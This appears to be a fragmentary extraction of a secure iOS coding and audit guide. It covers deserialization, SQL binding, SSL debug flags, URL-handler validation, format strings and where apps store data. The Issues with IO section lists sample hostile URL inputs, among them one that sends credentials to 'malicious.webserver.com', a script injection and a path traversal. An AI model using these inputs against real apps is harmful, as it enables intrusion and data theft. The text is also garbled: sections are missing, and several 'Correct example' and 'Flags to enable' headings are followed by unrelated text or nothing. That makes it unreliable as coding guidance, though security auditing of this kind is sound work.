Secure iOS Application Development
Secure iOS Application Development
Secure iOS Application Development
application
development
Guidelines for developers and Source Code Auditors for secure
iOS development
Nikhil Firke
Contents
1:- API-level issues.......................................................................................................................4
Nevertheless, hopefully the guide can serve as training material to iOS app
developers that want to make sure that they ship a more secure app. Also, iOS
security reviewers can use it as a reference during assessments.
Just like any software, this guide will rot unless we update it. We
encourage everyone to help us on that, just open an issue or send a pull
request!
1:- API-level issues
1.1) API: Generate cryptographically-strong random numbers
Generally, iOS provides easy-to-use cryptographic interfaces. Don’t implement
custom crypto algorithms (besides crypto problems, it can also cause issues during
App Store review).
Correct example:
If the app is handling sensitive user data, verify that code exists to hide or blur
the sensitive elements or the full window.
When writing your own classes, it is generally a good idea to comply with
the NSSecureCoding protocol, to make sure that classes constructed from external
sources are the intended class. It is also required by Apple for classes that are used
with inter-application communication (UIActivityViewController).
Audit tip: Check for insecure deserialization from untrusted sources. Some
deserialization (NSCoding, NSCoder) must have checks for the deserialized data to be
within bounds.
Audit tip: Other deserialization
(CFBundle, NSBundle, NSKeyedUnarchiverDelegate, didDecodeObject, awakeAfterUsingCoder)
can directly lead to code execution by returning different objects during
deserialization.
Audit tip: Check that nib files are not dynamically loaded from untrusted
origins.
Correct example:
const char *sql = "SELECT username FROM users where uid = ?";
sqlite3_prepare_v2(db, sql, -1, &selectUid, NULL);
sqlite3_bind_int(selectUid, 1, uid);
int status = sqlite3_step(selectUid);
3:- App hardening
3.1) Hardening: Enable exploit mitigation compile-time options
In order to make exploiting iOS applications harder for the attacker, make sure
you enable platform exploit mitigation options.
Audit tip: Check that compiler and linker flags for exploit mitigation are
enabled.
Flags to enable:
Audit tip: Check that all APIs besides local WebViews use SSL (https scheme,
no http).
Audit tip: Check that authorization tokens are never be passed in URLs but
only in headers of HTTPS requests (e.g. as a Cookie header). The concern here is that
they are unintentionally logged on a ISP/company proxy or accidentally leaked
through referrers without the user’s knowledge.
Audit tip: Check that no debug options for SSL have been enabled in the
release build:
NSStream:
o kCFStreamSSLLevel
o kCFStreamSSLAllowsExpiredCertificates
o kCFStreamSSLAllowsAnyRoot
o kCFStreamSSLAllowsExpiredRoots
o kCFStreamSSLValidatesCertificateChain
NSURLRequest
o setAllowsAnyHTTPSCertificate
NSURLConnection
o continueWithoutCredentialForAuthenticationChallenge
ValidatesSecureCertificate
setValidatesSecureCertificate
5:- Issues with IO
Audit tip: Check for URI handlers registered and handled by the application
(registerForRemoteNotificationTypes and handleOpenURL).
myapp://cmd/run?program=/path/to/program/to/run
myapp://cmd/set_preference?use_ssl=false
myapp://cmd/[email protected]&file=some/data/file
myapp://cmd/delete?data_to_delete=my_document_ive_been_working_on
myapp://cmd/login_to?server_to_send_credentials=malicious.webserver.com
myapp://cmd/adduser='>"><script>javascript to run goes here</script>
myapp://use_template?template=/../../../../../../../../some/other/file
Audit tip: Check that userInfo and launchOptions are validated during parsing
of URI request. For actions after the URL handler, it is important to ask user for
confirmation before taking action.
Additionally, note that other applications could be able to register the same
URL handler and intercept requests. When passing highly sensitive information it is
preferable to sign and/or encrypt URL handler-transmitted data to prevent leakage
and/or forgery.
o Wrong example:
[x stringByAppendingFormat:[UtilityClass
formatStuff:attacker.text]];
o Correct example:
[x stringByAppendingFormat:@"%@", [UtilityClass
formatStuff:attacker.text]];
[NSMutableString appendFormat]
[NSAlert alertWithMessageText]
[NSPredicate predicateWithFormat:]
[NSPredicate predicateWithFormat:arguments:]
[NSException raise:format:] and [NSException raise:format:arguments:]
NSRunAlertPanel and other Application Kit functions that create or return
panels or sheets
[NSLog]
7:- Security considerations for apps built with Swift
Keep the following in mind if you're developing iOS apps with Swift:
Also, when handling sensitive memory, be aware that Swift won’t easily let you
erase sensitive data, e.g. passwords. One way to do this is to
use UnsafeMutablePointer or an UnsafeCollection (see Secure Memory for Swift
Objects for more information).
8:- Guide: Where should I store my data on iOS?
8.1) Where can I store my data?
Keychain Services
o Encrypted key/value store designed to hold:
Generic passwords
Internet passwords (password + protocol + server)
Certificates
Private Keys
Identities (certificate + private key)
o Max raw value size is ~16MB.
o Keychains may be shared (this is how SSO works on iOS) or private to
the app.
Keychains can only be shared by apps from the same vendor.
Enterprise/Dogfood apps have a different vendor ID compared
to Prod.
Your application has access to its own app-specific filesystem sandbox; please
refer to Apple’s File System Programming Guide (specifically, the iOS sections) for
more details.
Documents/
o User-created data that should be visible to the user
o Optionally visible to the user in iTunes
Subdirectories generally aren’t, special tools can still open them
o Backed up
User can disable backup for specific apps
App can disable paths by setting NSURLIsExcludedFromBackupKey
Library/Caches/
o Semi-persistent cached files
o Not visible to the user
o Not backed up
o May be deleted by the OS at any time if the app is not running
Managed automatically in response to storage pressure
Library/Application Support/
o Persistent files necessary to run the app
o Not visible to the user
o Backed up
User can disable backup for specific apps
App can disable paths by setting NSURLIsExcludedFromBackupKey
Library/Preferences/
o As /Application Support/
o By convention, only files created with NSUserDefaults
Library/*
o As /Application Support/
tmp/
o Non-persistent cached files
o Not visible to the user
o Not backed up
o Periodically deleted by the OS when the app is not running
Keychain backups (to iCloud) cannot be recovered without the user’s iCloud
password. Keychain data is not included in local backups unless that backup is
encrypted with a password.
Keychain already allows you to prevent items from ever leaving the device or
be included in backups.
In addition to that:
Remember: you can also store any piece of text in Keychain, not just username
and password credentials. Apple uses this to synchronize Wifi credentials between
devices so that when you connect your laptop to a network, your phone will be able
to as well a few seconds later when synchronization finishes, saving you from
entering those long passwords on your phone. For more information on the details
check out the Apple iOS Security white paper.
NSFileProtectionComplete
NSFileProtectionCompleteUnlessOpen (key stays in memory while locked and file
opened)
NSFileProtectionCompleteUntilFirstUserAuthentication (key stays in memory
when locked)
9.2) Create secure temporary files
Audit tip: Check that secure temporary files and directories are used - for
example, URLForDirectory, NSTemporaryDirectory, FSFindFolder(kTemporaryFolderType).
See also Create Temporary Files Correctly in the Apple Secure Coding Guide.